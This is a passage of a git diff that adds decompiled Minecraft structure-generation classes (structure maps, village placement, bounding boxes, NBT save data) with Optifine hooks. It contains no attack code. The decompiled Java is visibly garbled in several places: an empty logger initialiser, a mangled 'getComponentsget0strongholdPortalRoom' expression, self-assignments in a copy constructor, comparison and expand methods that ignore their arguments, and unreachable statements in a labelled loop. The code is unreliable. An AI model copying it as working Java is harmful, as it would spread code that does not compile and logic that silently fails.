+        int var10 = (int)Math.round(Math.cos(var4) * var8);
+        int var11 = (int)Math.round(Math.sin(var4) * var8);
+        BlockPos var12 = worldObj.getWorldChunkManager().findBiomePosition((var10 << 4) + 8, (var11 << 4) + 8, 112, field_151546_e, var3);
+        
+        if (var12 != null)
+        {
+          var10 = var12.getX() >> 4;
+          var11 = var12.getZ() >> 4;
+        }
+        
+        structureCoords[var7] = new ChunkCoordIntPair(var10, var11);
+        var4 += 6.283185307179586D * var6 / field_82672_i;
+        
+        if (var7 == field_82672_i)
+        {
+          var6 += 2 + var3.nextInt(5);
+          field_82672_i += 1 + var3.nextInt(2);
+        }
+      }
+      
+      ranBiomeCheck = true;
+    }
+    
+    ChunkCoordIntPair[] var13 = structureCoords;
+    int var14 = var13.length;
+    
+    for (int var5 = 0; var5 < var14; var5++)
+    {
+      ChunkCoordIntPair var15 = var13[var5];
+      
+      if ((p_75047_1_ == chunkXPos) && (p_75047_2_ == chunkZPos))
+      {
+        return true;
+      }
+    }
+    
+    return false;
+  }
+  
+
+
+
+
+  protected List getCoordList()
+  {
+    ArrayList var1 = Lists.newArrayList();
+    ChunkCoordIntPair[] var2 = structureCoords;
+    int var3 = var2.length;
+    
+    for (int var4 = 0; var4 < var3; var4++)
+    {
+      ChunkCoordIntPair var5 = var2[var4];
+      
+      if (var5 != null)
+      {
+        var1.add(var5.getCenterBlock(64));
+      }
+    }
+    
+    return var1;
+  }
+  
+
+
+  protected StructureStart getStructureStart(int p_75049_1_, int p_75049_2_)
+  {
+    for (Start var3 = new Start(worldObj, rand, p_75049_1_, p_75049_2_); (var3.getComponents().isEmpty()) || (getComponentsget0strongholdPortalRoom == null); var3 = new Start(worldObj, rand, p_75049_1_, p_75049_2_)) {}
+    
+
+
+
+    return var3;
+  }
+  
+  public static class Start extends StructureStart
+  {
+    private static final String __OBFID = "CL_00000482";
+    
+    public Start() {}
+    
+    public Start(World worldIn, Random p_i2067_2_, int p_i2067_3_, int p_i2067_4_)
+    {
+      super(p_i2067_4_);
+      StructureStrongholdPieces.prepareStructurePieces();
+      StructureStrongholdPieces.Stairs2 var5 = new StructureStrongholdPieces.Stairs2(0, p_i2067_2_, (p_i2067_3_ << 4) + 2, (p_i2067_4_ << 4) + 2);
+      components.add(var5);
+      var5.buildComponent(var5, components, p_i2067_2_);
+      List var6 = field_75026_c;
+      
+      while (!var6.isEmpty())
+      {
+        int var7 = p_i2067_2_.nextInt(var6.size());
+        StructureComponent var8 = (StructureComponent)var6.remove(var7);
+        var8.buildComponent(var5, components, p_i2067_2_);
+      }
+      
+      updateBoundingBox();
+      markAvailableHeight(worldIn, p_i2067_2_, 10);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/structure/MapGenStructure.java b/src/minecraft/net/minecraft/world/gen/structure/MapGenStructure.java
new file mode 100644
index 0000000..59147ba
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/structure/MapGenStructure.java
@@ -0,0 +1,322 @@
+package net.minecraft.world.gen.structure;
+
+import com.google.common.collect.Maps;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.LinkedList;
+import java.util.List;
+import java.util.Map;
+import java.util.Random;
+import java.util.Set;
+import java.util.concurrent.Callable;
+import net.minecraft.crash.CrashReport;
+import net.minecraft.crash.CrashReportCategory;
+import net.minecraft.nbt.NBTBase;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.LongHashMap;
+import net.minecraft.world.ChunkCoordIntPair;
+import net.minecraft.world.World;
+import net.minecraft.world.chunk.ChunkPrimer;
+import net.minecraft.world.gen.MapGenBase;
+import net.minecraft.world.storage.MapStorage;
+import optifine.Reflector;
+import optifine.ReflectorMethod;
+
+public abstract class MapGenStructure extends MapGenBase
+{
+  private MapGenStructureData field_143029_e;
+  
+  public MapGenStructure() {}
+  
+  protected Map structureMap = Maps.newHashMap();
+  private static final String __OBFID = "CL_00000505";
+  private LongHashMap structureLongMap = new LongHashMap();
+  
+  public abstract String getStructureName();
+  
+  protected final void func_180701_a(World worldIn, final int p_180701_2_, final int p_180701_3_, int p_180701_4_, int p_180701_5_, ChunkPrimer p_180701_6_) {
+    func_143027_a(worldIn);
+    
+    if (!structureLongMap.containsItem(ChunkCoordIntPair.chunkXZ2Int(p_180701_2_, p_180701_3_)))
+    {
+      rand.nextInt();
+      
+      try
+      {
+        if (canSpawnStructureAtCoords(p_180701_2_, p_180701_3_))
+        {
+          StructureStart var10 = getStructureStart(p_180701_2_, p_180701_3_);
+          structureMap.put(Long.valueOf(ChunkCoordIntPair.chunkXZ2Int(p_180701_2_, p_180701_3_)), var10);
+          structureLongMap.add(ChunkCoordIntPair.chunkXZ2Int(p_180701_2_, p_180701_3_), var10);
+          func_143026_a(p_180701_2_, p_180701_3_, var10);
+        }
+      }
+      catch (Throwable var101)
+      {
+        CrashReport var8 = CrashReport.makeCrashReport(var101, "Exception preparing structure feature");
+        CrashReportCategory var9 = var8.makeCategory("Feature being prepared");
+        var9.addCrashSectionCallable("Is feature chunk", new Callable()
+        {
+          private static final String __OBFID = "CL_00000506";
+          
+          public String call() {
+            return canSpawnStructureAtCoords(p_180701_2_, p_180701_3_) ? "True" : "False";
+          }
+        });
+        var9.addCrashSection("Chunk location", String.format("%d,%d", new Object[] { Integer.valueOf(p_180701_2_), Integer.valueOf(p_180701_3_) }));
+        var9.addCrashSectionCallable("Chunk pos hash", new Callable()
+        {
+          private static final String __OBFID = "CL_00000507";
+          
+          public String call() {
+            return String.valueOf(ChunkCoordIntPair.chunkXZ2Int(p_180701_2_, p_180701_3_));
+          }
+        });
+        var9.addCrashSectionCallable("Structure type", new Callable()
+        {
+          public String call()
+          {
+            return getClass().getCanonicalName();
+          }
+        });
+        throw new net.minecraft.util.ReportedException(var8);
+      }
+    }
+  }
+  
+  public boolean func_175794_a(World worldIn, Random p_175794_2_, ChunkCoordIntPair p_175794_3_)
+  {
+    func_143027_a(worldIn);
+    int var4 = (chunkXPos << 4) + 8;
+    int var5 = (chunkZPos << 4) + 8;
+    boolean var6 = false;
+    Iterator var7 = structureMap.values().iterator();
+    
+    while (var7.hasNext())
+    {
+      StructureStart var8 = (StructureStart)var7.next();
+      
+      if ((var8.isSizeableStructure()) && (var8.func_175788_a(p_175794_3_)) && (var8.getBoundingBox().intersectsWith(var4, var5, var4 + 15, var5 + 15)))
+      {
+        var8.generateStructure(worldIn, p_175794_2_, new StructureBoundingBox(var4, var5, var4 + 15, var5 + 15));
+        var8.func_175787_b(p_175794_3_);
+        var6 = true;
+        func_143026_a(var8.func_143019_e(), var8.func_143018_f(), var8);
+      }
+    }
+    
+    return var6;
+  }
+  
+  public boolean func_175795_b(BlockPos p_175795_1_)
+  {
+    func_143027_a(worldObj);
+    return func_175797_c(p_175795_1_) != null;
+  }
+  
+  protected StructureStart func_175797_c(BlockPos p_175797_1_)
+  {
+    Iterator var2 = structureMap.values().iterator();
+    Iterator var4;
+    label94: for (; var2.hasNext(); 
+        
+
+
+
+
+
+
+        var4.hasNext())
+    {
+      StructureStart var3 = (StructureStart)var2.next();
+      
+      if ((!var3.isSizeableStructure()) || (!var3.getBoundingBox().func_175898_b(p_175797_1_)))
+        break label94;
+      var4 = var3.getComponents().iterator();
+      
+      continue;
+      
+      StructureComponent var5 = (StructureComponent)var4.next();
+      
+      if (var5.getBoundingBox().func_175898_b(p_175797_1_))
+      {
+        return var3;
+      }
+    }
+    
+
+
+    return null;
+  }
+  
+  public boolean func_175796_a(World worldIn, BlockPos p_175796_2_)
+  {
+    func_143027_a(worldIn);
+    Iterator var3 = structureMap.values().iterator();
+    
+    StructureStart var4;
+    do
+    {
+      if (!var3.hasNext())
+      {
+        return false;
+      }
+      
+      var4 = (StructureStart)var3.next();
+    }
+    while ((!var4.isSizeableStructure()) || (!var4.getBoundingBox().func_175898_b(p_175796_2_)));
+    
+    return true;
+  }
+  
+  public BlockPos func_180706_b(World worldIn, BlockPos p_180706_2_)
+  {
+    worldObj = worldIn;
+    func_143027_a(worldIn);
+    rand.setSeed(worldIn.getSeed());
+    long var3 = rand.nextLong();
+    long var5 = rand.nextLong();
+    long var7 = (p_180706_2_.getX() >> 4) * var3;
+    long var9 = (p_180706_2_.getZ() >> 4) * var5;
+    rand.setSeed(var7 ^ var9 ^ worldIn.getSeed());
+    func_180701_a(worldIn, p_180706_2_.getX() >> 4, p_180706_2_.getZ() >> 4, 0, 0, null);
+    double var11 = Double.MAX_VALUE;
+    BlockPos var13 = null;
+    Iterator var14 = structureMap.values().iterator();
+    
+
+
+    while (var14.hasNext())
+    {
+      StructureStart var20 = (StructureStart)var14.next();
+      
+      if (var20.isSizeableStructure())
+      {
+        StructureComponent var21 = (StructureComponent)var20.getComponents().get(0);
+        BlockPos var17 = var21.func_180776_a();
+        double var18 = var17.distanceSq(p_180706_2_);
+        
+        if (var18 < var11)
+        {
+          var11 = var18;
+          var13 = var17;
+        }
+      }
+    }
+    
+    if (var13 != null)
+    {
+      return var13;
+    }
+    
+
+    List var201 = getCoordList();
+    
+    if (var201 != null)
+    {
+      BlockPos var211 = null;
+      Iterator var22 = var201.iterator();
+      
+      while (var22.hasNext())
+      {
+        BlockPos var17 = (BlockPos)var22.next();
+        double var18 = var17.distanceSq(p_180706_2_);
+        
+        if (var18 < var11)
+        {
+          var11 = var18;
+          var211 = var17;
+        }
+      }
+      
+      return var211;
+    }
+    
+
+    return null;
+  }
+  
+
+
+
+
+
+
+  protected List getCoordList()
+  {
+    return null;
+  }
+  
+  private void func_143027_a(World worldIn)
+  {
+    if (field_143029_e == null)
+    {
+
+
+      if (Reflector.ForgeWorld_getPerWorldStorage.exists())
+      {
+        MapStorage var2 = (MapStorage)Reflector.call(worldIn, Reflector.ForgeWorld_getPerWorldStorage, new Object[0]);
+        field_143029_e = ((MapGenStructureData)var2.loadData(MapGenStructureData.class, getStructureName()));
+      }
+      else
+      {
+        field_143029_e = ((MapGenStructureData)worldIn.loadItemData(MapGenStructureData.class, getStructureName()));
+      }
+      
+      if (field_143029_e == null)
+      {
+        field_143029_e = new MapGenStructureData(getStructureName());
+        
+        if (Reflector.ForgeWorld_getPerWorldStorage.exists())
+        {
+          MapStorage var2 = (MapStorage)Reflector.call(worldIn, Reflector.ForgeWorld_getPerWorldStorage, new Object[0]);
+          var2.setData(getStructureName(), field_143029_e);
+        }
+        else
+        {
+          worldIn.setItemData(getStructureName(), field_143029_e);
+        }
+      }
+      else
+      {
+        NBTTagCompound var21 = field_143029_e.func_143041_a();
+        Iterator var3 = var21.getKeySet().iterator();
+        
+        while (var3.hasNext())
+        {
+          String var4 = (String)var3.next();
+          NBTBase var5 = var21.getTag(var4);
+          
+          if (var5.getId() == 10)
+          {
+            NBTTagCompound var6 = (NBTTagCompound)var5;
+            
+            if ((var6.hasKey("ChunkX")) && (var6.hasKey("ChunkZ")))
+            {
+              int var7 = var6.getInteger("ChunkX");
+              int var8 = var6.getInteger("ChunkZ");
+              StructureStart var9 = MapGenStructureIO.func_143035_a(var6, worldIn);
+              
+              if (var9 != null)
+              {
+                structureMap.put(Long.valueOf(ChunkCoordIntPair.chunkXZ2Int(var7, var8)), var9);
+                structureLongMap.add(ChunkCoordIntPair.chunkXZ2Int(var7, var8), var9);
+              }
+            }
+          }
+        }
+      }
+    }
+  }
+  
+  private void func_143026_a(int p_143026_1_, int p_143026_2_, StructureStart p_143026_3_)
+  {
+    field_143029_e.func_143043_a(p_143026_3_.func_143021_a(p_143026_1_, p_143026_2_), p_143026_1_, p_143026_2_);
+    field_143029_e.markDirty();
+  }
+  
+  protected abstract boolean canSpawnStructureAtCoords(int paramInt1, int paramInt2);
+  
+  protected abstract StructureStart getStructureStart(int paramInt1, int paramInt2);
+}
diff --git a/src/minecraft/net/minecraft/world/gen/structure/MapGenStructureData.java b/src/minecraft/net/minecraft/world/gen/structure/MapGenStructureData.java
new file mode 100644
index 0000000..bcea2a1
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/structure/MapGenStructureData.java
@@ -0,0 +1,46 @@
+package net.minecraft.world.gen.structure;
+
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.world.WorldSavedData;
+
+public class MapGenStructureData extends WorldSavedData
+{
+  private NBTTagCompound field_143044_a = new NBTTagCompound();
+  private static final String __OBFID = "CL_00000510";
+  
+  public MapGenStructureData(String p_i43001_1_)
+  {
+    super(p_i43001_1_);
+  }
+  
+
+
+
+  public void readFromNBT(NBTTagCompound nbt)
+  {
+    field_143044_a = nbt.getCompoundTag("Features");
+  }
+  
+
+
+
+  public void writeToNBT(NBTTagCompound nbt)
+  {
+    nbt.setTag("Features", field_143044_a);
+  }
+  
+  public void func_143043_a(NBTTagCompound p_143043_1_, int p_143043_2_, int p_143043_3_)
+  {
+    field_143044_a.setTag(func_143042_b(p_143043_2_, p_143043_3_), p_143043_1_);
+  }
+  
+  public static String func_143042_b(int p_143042_0_, int p_143042_1_)
+  {
+    return "[" + p_143042_0_ + "," + p_143042_1_ + "]";
+  }
+  
+  public NBTTagCompound func_143041_a()
+  {
+    return field_143044_a;
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/structure/MapGenStructureIO.java b/src/minecraft/net/minecraft/world/gen/structure/MapGenStructureIO.java
new file mode 100644
index 0000000..988412c
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/structure/MapGenStructureIO.java
@@ -0,0 +1,120 @@
+package net.minecraft.world.gen.structure;
+
+import com.google.common.collect.Maps;
+import java.util.Map;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.world.World;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public class MapGenStructureIO
+{
+  private static final Logger logger = ;
+  private static Map field_143040_a = Maps.newHashMap();
+  private static Map field_143038_b = Maps.newHashMap();
+  private static Map field_143039_c = Maps.newHashMap();
+  private static Map field_143037_d = Maps.newHashMap();
+  private static final String __OBFID = "CL_00000509";
+  
+  private static void registerStructure(Class p_143034_0_, String p_143034_1_)
+  {
+    field_143040_a.put(p_143034_1_, p_143034_0_);
+    field_143038_b.put(p_143034_0_, p_143034_1_);
+  }
+  
+  static void registerStructureComponent(Class p_143031_0_, String p_143031_1_)
+  {
+    field_143039_c.put(p_143031_1_, p_143031_0_);
+    field_143037_d.put(p_143031_0_, p_143031_1_);
+  }
+  
+  public static String func_143033_a(StructureStart p_143033_0_)
+  {
+    return (String)field_143038_b.get(p_143033_0_.getClass());
+  }
+  
+  public static String func_143036_a(StructureComponent p_143036_0_)
+  {
+    return (String)field_143037_d.get(p_143036_0_.getClass());
+  }
+  
+  public static StructureStart func_143035_a(NBTTagCompound p_143035_0_, World worldIn)
+  {
+    StructureStart var2 = null;
+    
+    try
+    {
+      Class var3 = (Class)field_143040_a.get(p_143035_0_.getString("id"));
+      
+      if (var3 != null)
+      {
+        var2 = (StructureStart)var3.newInstance();
+      }
+    }
+    catch (Exception var4)
+    {
+      logger.warn("Failed Start with id " + p_143035_0_.getString("id"));
+      var4.printStackTrace();
+    }
+    
+    if (var2 != null)
+    {
+      var2.func_143020_a(worldIn, p_143035_0_);
+    }
+    else
+    {
+      logger.warn("Skipping Structure with id " + p_143035_0_.getString("id"));
+    }
+    
+    return var2;
+  }
+  
+  public static StructureComponent func_143032_b(NBTTagCompound p_143032_0_, World worldIn)
+  {
+    StructureComponent var2 = null;
+    
+    try
+    {
+      Class var3 = (Class)field_143039_c.get(p_143032_0_.getString("id"));
+      
+      if (var3 != null)
+      {
+        var2 = (StructureComponent)var3.newInstance();
+      }
+    }
+    catch (Exception var4)
+    {
+      logger.warn("Failed Piece with id " + p_143032_0_.getString("id"));
+      var4.printStackTrace();
+    }
+    
+    if (var2 != null)
+    {
+      var2.func_143009_a(worldIn, p_143032_0_);
+    }
+    else
+    {
+      logger.warn("Skipping Piece with id " + p_143032_0_.getString("id"));
+    }
+    
+    return var2;
+  }
+  
+  static
+  {
+    registerStructure(StructureMineshaftStart.class, "Mineshaft");
+    registerStructure(MapGenVillage.Start.class, "Village");
+    registerStructure(MapGenNetherBridge.Start.class, "Fortress");
+    registerStructure(MapGenStronghold.Start.class, "Stronghold");
+    registerStructure(MapGenScatteredFeature.Start.class, "Temple");
+    registerStructure(StructureOceanMonument.StartMonument.class, "Monument");
+    StructureMineshaftPieces.registerStructurePieces();
+    StructureVillagePieces.registerVillagePieces();
+    StructureNetherBridgePieces.registerNetherFortressPieces();
+    StructureStrongholdPieces.registerStrongholdPieces();
+    ComponentScatteredFeaturePieces.registerScatteredFeaturePieces();
+    StructureOceanMonumentPieces.func_175970_a();
+  }
+  
+  public MapGenStructureIO() {}
+}
diff --git a/src/minecraft/net/minecraft/world/gen/structure/MapGenVillage.java b/src/minecraft/net/minecraft/world/gen/structure/MapGenVillage.java
new file mode 100644
index 0000000..bcb62a4
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/structure/MapGenVillage.java
@@ -0,0 +1,167 @@
+package net.minecraft.world.gen.structure;
+
+import java.util.Iterator;
+import java.util.LinkedList;
+import java.util.List;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Random;
+import java.util.Set;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.util.MathHelper;
+import net.minecraft.world.World;
+import net.minecraft.world.biome.BiomeGenBase;
+
+public class MapGenVillage extends MapGenStructure
+{
+  public static final List villageSpawnBiomes = java.util.Arrays.asList(new BiomeGenBase[] { BiomeGenBase.plains, BiomeGenBase.desert, BiomeGenBase.savanna });
+  
+  private int terrainType;
+  
+  private int field_82665_g;
+  private int field_82666_h;
+  private static final String __OBFID = "CL_00000514";
+  
+  public MapGenVillage()
+  {
+    field_82665_g = 32;
+    field_82666_h = 8;
+  }
+  
+  public MapGenVillage(Map p_i2093_1_)
+  {
+    this();
+    Iterator var2 = p_i2093_1_.entrySet().iterator();
+    
+    while (var2.hasNext())
+    {
+      Map.Entry var3 = (Map.Entry)var2.next();
+      
+      if (((String)var3.getKey()).equals("size"))
+      {
+        terrainType = MathHelper.parseIntWithDefaultAndMax((String)var3.getValue(), terrainType, 0);
+      }
+      else if (((String)var3.getKey()).equals("distance"))
+      {
+        field_82665_g = MathHelper.parseIntWithDefaultAndMax((String)var3.getValue(), field_82665_g, field_82666_h + 1);
+      }
+    }
+  }
+  
+  public String getStructureName()
+  {
+    return "Village";
+  }
+  
+  protected boolean canSpawnStructureAtCoords(int p_75047_1_, int p_75047_2_)
+  {
+    int var3 = p_75047_1_;
+    int var4 = p_75047_2_;
+    
+    if (p_75047_1_ < 0)
+    {
+      p_75047_1_ -= field_82665_g - 1;
+    }
+    
+    if (p_75047_2_ < 0)
+    {
+      p_75047_2_ -= field_82665_g - 1;
+    }
+    
+    int var5 = p_75047_1_ / field_82665_g;
+    int var6 = p_75047_2_ / field_82665_g;
+    Random var7 = worldObj.setRandomSeed(var5, var6, 10387312);
+    var5 *= field_82665_g;
+    var6 *= field_82665_g;
+    var5 += var7.nextInt(field_82665_g - field_82666_h);
+    var6 += var7.nextInt(field_82665_g - field_82666_h);
+    
+    if ((var3 == var5) && (var4 == var6))
+    {
+      boolean var8 = worldObj.getWorldChunkManager().areBiomesViable(var3 * 16 + 8, var4 * 16 + 8, 0, villageSpawnBiomes);
+      
+      if (var8)
+      {
+        return true;
+      }
+    }
+    
+    return false;
+  }
+  
+  protected StructureStart getStructureStart(int p_75049_1_, int p_75049_2_)
+  {
+    return new Start(worldObj, rand, p_75049_1_, p_75049_2_, terrainType);
+  }
+  
+  public static class Start extends StructureStart
+  {
+    private boolean hasMoreThanTwoComponents;
+    private static final String __OBFID = "CL_00000515";
+    
+    public Start() {}
+    
+    public Start(World worldIn, Random p_i2092_2_, int p_i2092_3_, int p_i2092_4_, int p_i2092_5_)
+    {
+      super(p_i2092_4_);
+      List var6 = StructureVillagePieces.getStructureVillageWeightedPieceList(p_i2092_2_, p_i2092_5_);
+      StructureVillagePieces.Start var7 = new StructureVillagePieces.Start(worldIn.getWorldChunkManager(), 0, p_i2092_2_, (p_i2092_3_ << 4) + 2, (p_i2092_4_ << 4) + 2, var6, p_i2092_5_);
+      components.add(var7);
+      var7.buildComponent(var7, components, p_i2092_2_);
+      List var8 = field_74930_j;
+      List var9 = field_74932_i;
+      
+
+      while ((!var8.isEmpty()) || (!var9.isEmpty()))
+      {
+
+
+        if (var8.isEmpty())
+        {
+          int var10 = p_i2092_2_.nextInt(var9.size());
+          StructureComponent var11 = (StructureComponent)var9.remove(var10);
+          var11.buildComponent(var7, components, p_i2092_2_);
+        }
+        else
+        {
+          int var10 = p_i2092_2_.nextInt(var8.size());
+          StructureComponent var11 = (StructureComponent)var8.remove(var10);
+          var11.buildComponent(var7, components, p_i2092_2_);
+        }
+      }
+      
+      updateBoundingBox();
+      int var10 = 0;
+      Iterator var13 = components.iterator();
+      
+      while (var13.hasNext())
+      {
+        StructureComponent var12 = (StructureComponent)var13.next();
+        
+        if (!(var12 instanceof StructureVillagePieces.Road))
+        {
+          var10++;
+        }
+      }
+      
+      hasMoreThanTwoComponents = (var10 > 2);
+    }
+    
+    public boolean isSizeableStructure()
+    {
+      return hasMoreThanTwoComponents;
+    }
+    
+    public void func_143022_a(NBTTagCompound p_143022_1_)
+    {
+      super.func_143022_a(p_143022_1_);
+      p_143022_1_.setBoolean("Valid", hasMoreThanTwoComponents);
+    }
+    
+    public void func_143017_b(NBTTagCompound p_143017_1_)
+    {
+      super.func_143017_b(p_143017_1_);
+      hasMoreThanTwoComponents = p_143017_1_.getBoolean("Valid");
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/structure/StructureBoundingBox.java b/src/minecraft/net/minecraft/world/gen/structure/StructureBoundingBox.java
new file mode 100644
index 0000000..a143726
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/structure/StructureBoundingBox.java
@@ -0,0 +1,253 @@
+package net.minecraft.world.gen.structure;
+
+import com.google.common.base.Objects;
+import com.google.common.base.Objects.ToStringHelper;
+import net.minecraft.nbt.NBTTagIntArray;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.Vec3i;
+
+
+
+
+
+
+
+
+
+
+
+public class StructureBoundingBox
+{
+  public int minX;
+  public int minY;
+  public int minZ;
+  public int maxX;
+  public int maxY;
+  public int maxZ;
+  private static final String __OBFID = "CL_00000442";
+  
+  public StructureBoundingBox() {}
+  
+  public StructureBoundingBox(int[] p_i43000_1_)
+  {
+    if (p_i43000_1_.length == 6)
+    {
+      minX = p_i43000_1_[0];
+      minY = p_i43000_1_[1];
+      minZ = p_i43000_1_[2];
+      maxX = p_i43000_1_[3];
+      maxY = p_i43000_1_[4];
+      maxZ = p_i43000_1_[5];
+    }
+  }
+  
+
+
+
+  public static StructureBoundingBox getNewBoundingBox()
+  {
+    return new StructureBoundingBox(Integer.MAX_VALUE, Integer.MAX_VALUE, Integer.MAX_VALUE, Integer.MIN_VALUE, Integer.MIN_VALUE, Integer.MIN_VALUE);
+  }
+  
+  public static StructureBoundingBox func_175897_a(int p_175897_0_, int p_175897_1_, int p_175897_2_, int p_175897_3_, int p_175897_4_, int p_175897_5_, int p_175897_6_, int p_175897_7_, int p_175897_8_, EnumFacing p_175897_9_)
+  {
+    switch (SwitchEnumFacing.field_175895_a[p_175897_9_.ordinal()])
+    {
+    case 1: 
+      return new StructureBoundingBox(p_175897_0_ + p_175897_3_, p_175897_1_ + p_175897_4_, p_175897_2_ - p_175897_8_ + 1 + p_175897_5_, p_175897_0_ + p_175897_6_ - 1 + p_175897_3_, p_175897_1_ + p_175897_7_ - 1 + p_175897_4_, p_175897_2_ + p_175897_5_);
+    
+    case 2: 
+      return new StructureBoundingBox(p_175897_0_ + p_175897_3_, p_175897_1_ + p_175897_4_, p_175897_2_ + p_175897_5_, p_175897_0_ + p_175897_6_ - 1 + p_175897_3_, p_175897_1_ + p_175897_7_ - 1 + p_175897_4_, p_175897_2_ + p_175897_8_ - 1 + p_175897_5_);
+    
+    case 3: 
+      return new StructureBoundingBox(p_175897_0_ - p_175897_8_ + 1 + p_175897_5_, p_175897_1_ + p_175897_4_, p_175897_2_ + p_175897_3_, p_175897_0_ + p_175897_5_, p_175897_1_ + p_175897_7_ - 1 + p_175897_4_, p_175897_2_ + p_175897_6_ - 1 + p_175897_3_);
+    
+    case 4: 
+      return new StructureBoundingBox(p_175897_0_ + p_175897_5_, p_175897_1_ + p_175897_4_, p_175897_2_ + p_175897_3_, p_175897_0_ + p_175897_8_ - 1 + p_175897_5_, p_175897_1_ + p_175897_7_ - 1 + p_175897_4_, p_175897_2_ + p_175897_6_ - 1 + p_175897_3_);
+    }
+    
+    return new StructureBoundingBox(p_175897_0_ + p_175897_3_, p_175897_1_ + p_175897_4_, p_175897_2_ + p_175897_5_, p_175897_0_ + p_175897_6_ - 1 + p_175897_3_, p_175897_1_ + p_175897_7_ - 1 + p_175897_4_, p_175897_2_ + p_175897_8_ - 1 + p_175897_5_);
+  }
+  
+
+  public static StructureBoundingBox func_175899_a(int p_175899_0_, int p_175899_1_, int p_175899_2_, int p_175899_3_, int p_175899_4_, int p_175899_5_)
+  {
+    return new StructureBoundingBox(Math.min(p_175899_0_, p_175899_3_), Math.min(p_175899_1_, p_175899_4_), Math.min(p_175899_2_, p_175899_5_), Math.max(p_175899_0_, p_175899_3_), Math.max(p_175899_1_, p_175899_4_), Math.max(p_175899_2_, p_175899_5_));
+  }
+  
+  public StructureBoundingBox(StructureBoundingBox p_i2031_1_)
+  {
+    minX = minX;
+    minY = minY;
+    minZ = minZ;
+    maxX = maxX;
+    maxY = maxY;
+    maxZ = maxZ;
+  }
+  
+  public StructureBoundingBox(int p_i2032_1_, int p_i2032_2_, int p_i2032_3_, int p_i2032_4_, int p_i2032_5_, int p_i2032_6_)
+  {
+    minX = p_i2032_1_;
+    minY = p_i2032_2_;
+    minZ = p_i2032_3_;
+    maxX = p_i2032_4_;
+    maxY = p_i2032_5_;
+    maxZ = p_i2032_6_;
+  }
+  
+  public StructureBoundingBox(Vec3i p_i45626_1_, Vec3i p_i45626_2_)
+  {
+    minX = Math.min(p_i45626_1_.getX(), p_i45626_2_.getX());
+    minY = Math.min(p_i45626_1_.getY(), p_i45626_2_.getY());
+    minZ = Math.min(p_i45626_1_.getZ(), p_i45626_2_.getZ());
+    maxX = Math.max(p_i45626_1_.getX(), p_i45626_2_.getX());
+    maxY = Math.max(p_i45626_1_.getY(), p_i45626_2_.getY());
+    maxZ = Math.max(p_i45626_1_.getZ(), p_i45626_2_.getZ());
+  }
+  
+  public StructureBoundingBox(int p_i2033_1_, int p_i2033_2_, int p_i2033_3_, int p_i2033_4_)
+  {
+    minX = p_i2033_1_;
+    minZ = p_i2033_2_;
+    maxX = p_i2033_3_;
+    maxZ = p_i2033_4_;
+    minY = 1;
+    maxY = 512;
+  }
+  
+
+
+
+  public boolean intersectsWith(StructureBoundingBox p_78884_1_)
+  {
+    return (maxX >= minX) && (minX <= maxX) && (maxZ >= minZ) && (minZ <= maxZ) && (maxY >= minY) && (minY <= maxY);
+  }
+  
+
+
+
+  public boolean intersectsWith(int p_78885_1_, int p_78885_2_, int p_78885_3_, int p_78885_4_)
+  {
+    return (maxX >= p_78885_1_) && (minX <= p_78885_3_) && (maxZ >= p_78885_2_) && (minZ <= p_78885_4_);
+  }
+  
+
+
+
+  public void expandTo(StructureBoundingBox p_78888_1_)
+  {
+    minX = Math.min(minX, minX);
+    minY = Math.min(minY, minY);
+    minZ = Math.min(minZ, minZ);
+    maxX = Math.max(maxX, maxX);
+    maxY = Math.max(maxY, maxY);
+    maxZ = Math.max(maxZ, maxZ);
+  }
+  
+
+
+
+  public void offset(int p_78886_1_, int p_78886_2_, int p_78886_3_)
+  {
+    minX += p_78886_1_;
+    minY += p_78886_2_;
+    minZ += p_78886_3_;
+    maxX += p_78886_1_;
+    maxY += p_78886_2_;
+    maxZ += p_78886_3_;
+  }
+  
+  public boolean func_175898_b(Vec3i p_175898_1_)
+  {
+    return (p_175898_1_.getX() >= minX) && (p_175898_1_.getX() <= maxX) && (p_175898_1_.getZ() >= minZ) && (p_175898_1_.getZ() <= maxZ) && (p_175898_1_.getY() >= minY) && (p_175898_1_.getY() <= maxY);
+  }
+  
+  public Vec3i func_175896_b()
+  {
+    return new Vec3i(maxX - minX, maxY - minY, maxZ - minZ);
+  }
+  
+
+
+
+  public int getXSize()
+  {
+    return maxX - minX + 1;
+  }
+  
+
+
+
+  public int getYSize()
+  {
+    return maxY - minY + 1;
+  }
+  
+
+
+
+  public int getZSize()
+  {
+    return maxZ - minZ + 1;
+  }
+  
+  public Vec3i func_180717_f()
+  {
+    return new BlockPos(minX + (maxX - minX + 1) / 2, minY + (maxY - minY + 1) / 2, minZ + (maxZ - minZ + 1) / 2);
+  }
+  
+  public String toString()
+  {
+    return Objects.toStringHelper(this).add("x0", minX).add("y0", minY).add("z0", minZ).add("x1", maxX).add("y1", maxY).add("z1", maxZ).toString();
+  }
+  
+  public NBTTagIntArray func_151535_h()
+  {
+    return new NBTTagIntArray(new int[] { minX, minY, minZ, maxX, maxY, maxZ });
+  }
+  
+  static final class SwitchEnumFacing
+  {
+    static final int[] field_175895_a = new int[EnumFacing.values().length];
+    private static final String __OBFID = "CL_00001999";
+    
+    static
+    {
+      try
+      {
+        field_175895_a[EnumFacing.NORTH.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError1) {}
+      
+
+
+
+      try
+      {
+        field_175895_a[EnumFacing.SOUTH.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError2) {}
+      
+
+
+
+      try
+      {
+        field_175895_a[EnumFacing.WEST.ordinal()] = 3;
+      }
